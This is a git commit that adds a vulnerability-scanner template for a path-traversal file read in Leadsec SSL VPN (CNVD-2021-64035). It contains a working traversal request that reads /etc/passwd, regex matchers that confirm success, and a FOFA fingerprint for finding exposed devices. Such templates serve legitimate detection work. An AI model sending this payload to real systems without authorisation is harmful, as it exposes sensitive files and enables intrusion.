Create CNVD-2021-64035.yaml

patch-4
Dhiyaneshwaran 2024-07-08 13:21:38 +05:30 committed by GitHub
parent e652c0c27c
commit 19de67434a
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 38 additions and 0 deletions

View File

@ -0,0 +1,38 @@
id: CNVD-2021-64035
info:
name: Leadsec VPN - Arbitrary File Read
author: xiaoWangSec
severity: high
description: |
There is an information leakage vulnerability in the SSL VPN of Beijing Wangyuxingyun Information Technology Co., Ltd., and attackers can use the vulnerability to obtain sensitive information.
reference:
- https://avd.aliyun.com/detail?id=AVD-2021-888761
- https://www.cnvd.org.cn/flaw/show/CNVD-2021-64035
metadata:
verified: true
max-request: 1
fofa-query: icon_hash="-15980305"
tags: cnvd,cnvd2024,lfi,leadsec,vpn
http:
- raw:
- |
GET /vpn/user/download/client?ostype=../../../../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: header
words:
- "appframe"
- type: status
status:
- 200